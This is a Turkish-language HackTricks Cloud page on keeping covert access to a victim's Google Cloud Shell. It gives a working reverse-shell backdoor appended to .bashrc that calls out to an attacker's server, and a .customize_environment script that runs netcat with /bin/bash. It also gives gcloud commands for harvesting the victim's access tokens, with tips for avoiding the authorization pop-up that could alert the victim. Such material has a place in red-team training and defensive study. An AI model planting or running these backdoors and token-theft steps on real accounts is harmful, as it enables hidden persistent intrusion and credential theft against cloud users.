GCP - Cloud Shell Persistence

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

HackTricks'i desteklemenin diğer yolları:

• Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!

• Resmi PEASS & HackTricks ürünlerini edinin

• The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz

• 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live'da takip edin.

• Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud'a katkıda bulunun.

Cloud Shell

Daha fazla bilgi için kontrol edin:

pageGCP - Cloud Shell Enum

Kalıcı Arka Kapı

Google Cloud Shell, tarayıcınızdan doğrudan bulut kaynaklarınıza komut satırı erişimi sağlar ve herhangi bir ek maliyet olmadan.

Google'ın Cloud Shell'ine web konsolundan veya gcloud cloud-shell ssh komutunu çalıştırarak erişebilirsiniz.

Bu konsol, saldırganlar için bazı ilginç yeteneklere sahiptir:

1. Google Cloud'a erişimi olan herhangi bir Google kullanıcısı, tam yetkilendirilmiş bir Cloud Shell örneğine erişebilir (Hizmet Hesapları, org'un Sahipleri bile olabilir).

2. Söz konusu örnek, en az 120 gün boyunca ana dizinini koruyacaktır eğer hiçbir etkinlik olmazsa.

3. Bu örneğin etkinliğini izlemek için bir organizasyonun yetenekleri yoktur.

Bu temelde, bir saldırgan kullanıcının ana dizinine bir arka kapı yerleştirebilir ve kullanıcı en az 120 günde bir GC Shell'e bağlandığı sürece arka kapı hayatta kalacak ve saldırgan her çalıştığında bir kabuk alacaktır sadece şunu yaparak:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

Ev dizininde varsa .customize_environment adında başka bir dosya bulunmaktadır ve bu dosya, kullanıcının bulut kabuğuna her eriştiğinde çalıştırılacaktır (önceki teknikte olduğu gibi). Kullanıcının "sık sık" bulut kabuğunu kullandığı sürece kalıcılığı sürdürmek için önceki arka kapıyı veya aşağıdakine benzer birini ekleyin:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

Önemli Not: İlk kez kimlik doğrulaması gerektiren bir işlem gerçekleştirildiğinde, kullanıcının tarayıcısında bir yetkilendirme penceresi belirir. Bu pencerenin kabul edilmesi gerekmektedir. Beklenmeyen bir pencere belirirse, şüphe uyandırabilir ve kullanılan kalıcılık yöntemini tehlikeye atabilir.

Bu, bulut kabuğundan (cloud shell) (saldırgan olarak) gcloud projects list komutunu çalıştırdığınızda tarayıcının kullanıcı oturumunda görünen pop-up'tır:

Ancak, kullanıcı bulut kabuğunu aktif olarak kullandıysa, pop-up belirmeyecek ve kullanıcının token'larını toplayabilirsiniz:

gcloud auth print-access-token
gcloud auth application-default print-access-token

SSH bağlantısının nasıl kurulduğu

Temel olarak, bu 3 API çağrısı kullanılır:

• https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (yerel olarak oluşturduğunuz genel anahtarını eklemenizi sağlar)

• https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (örneği başlatmanızı sağlar)

• https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (Google Cloud Shell'in IP'sini size söyler)

Ancak daha fazla bilgiyi https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key adresinde bulabilirsiniz.

Referanslar

• https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec

• https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

• https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/